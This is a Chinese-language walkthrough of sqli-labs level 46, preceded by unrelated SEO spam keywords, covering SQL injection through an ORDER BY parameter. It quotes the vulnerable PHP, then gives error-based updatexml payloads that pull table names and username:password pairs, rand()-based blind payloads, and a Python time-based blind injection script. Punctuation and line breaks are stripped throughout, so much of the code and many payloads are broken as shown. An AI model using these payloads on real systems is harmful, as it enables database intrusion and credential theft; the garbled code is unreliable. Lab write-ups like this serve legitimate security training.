中国站长网站,免费刷赞网站推广qq免费,帮别人做ppt赚钱的网站,建设河南分行网站sql-labs第46关 order by盲注
来到了第46关进入关卡发现让我们输入的参数为sort#xff0c;我们输入?sort1尝试#xff1a;
输入?sort2,3,发现表格按照顺序进行排列输出#xff0c;明显是使用了order by相关的函数。
我们将参数变成1进行尝试#xff0c;就会报错…sql-labs第46关 order by盲注
来到了第46关进入关卡发现让我们输入的参数为sort我们输入?sort1尝试
输入?sort2,3,发现表格按照顺序进行排列输出明显是使用了order by相关的函数。
我们将参数变成1进行尝试就会报错
查看源码: $sql SELECT * FROM users ORDER BY $id;
通过asc 和desc查看返回数据是否相同来简单判断是否存在order by注入 分别显示升序和降序的表格说明此处是注入点即注入点在order by后的参数中而order by不同于在where后的注入不能使用union等进行注入。
?php
include(../sql-connections/sqli-connect.php);
$id$_GET[sort];
if(isset($id)){//logging the connection parameters to a file for analysis.$fpfopen(result.txt,a);fwrite($fp,SORT:.$id.\n);fclose($fp);$sql SELECT * FROM users ORDER BY $id;$result mysqli_query($con1, $sql);if ($result){?centerfont color #00FF00 size4table border1trthnbsp;IDnbsp;/ththnbsp;USERNAMEnbsp; /ththnbsp;PASSWORDnbsp; /th/tr/font/font?phpwhile ($row mysqli_fetch_assoc($result)){echo font color #00FF11 size3; echo tr;echo td.$row[id]./td;echo td.$row[username]./td;echo td.$row[password]./td;echo /tr;echo /font;} echo /table;}else{echo font color #FFFF00;print_r(mysqli_error($con1));echo /font; }} else{echo Please input parameter as SORT with numeric valuebrbrbrbr;echo brbrbr;echo img src../images/Less-46.jpg /br;echo Lesson Concept and code Idea by bD4rk/b;}
?
该代码使用$id$_GET[sort]; 使用GET方式来获取sort参数
1.报错注入
?sort1 and(updatexml(1,concat(0x7e,(select database())),0));爆破出其数据库名 ?sort1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schemasecurity),0x7e),1) 爆破出数据库中所有的表 ?sort1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schemasecurity and table_nameusers),0x7e),1)爆破出user中所有的列?
?sort1 and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)爆破出其数据改变limit数值改变数据。
2.rand盲注
randrand()函数就是可以产生出一个随机数随机生成介于0和1之间的新的随机实数。
?sortrand(false);
?sortrand(ture); 两个数值不相同构造出一个布尔盲注或者延时盲注的payload
?sortrand(ascii(mid((select database()),1,1))114)
?sortrand(ascii(mid((select database()),1,1)115)
?sortrand(ascii(mid((select database()),1,1))116) 3.盲注脚本
import requests
import timedef inject_database(url):name for i in range(1, 20):low 32high 128mid (low high) // 2while low high:# 构造时间盲注payloadpayload if((ascii(substr(database(),%d,1))%d),sleep(1),1) % (i, mid)# 传参params {sort: payload}start_time time.time()# 异常处理这里我设定了超时时间为20stry:r requests.get(url, paramsparams, timeout20)except requests.Timeout:print(Request timed out.)continueend_time time.time()if end_time - start_time 1:low mid 1else:high midmid (low high) // 2if mid 32:breakname chr(mid)print(name)if __name__ __main__:url http://127.0.0.1/sqli-labs-master/Less-46/index.phpinject_database(url) 得到数据库名通过修改脚本payload得到其他数据
payload if(ascii(substr((select table_name from information_schema.tables where table_schemasecurity limit 0,1),%d,1))%d,sleep(1),0)%(i,mid)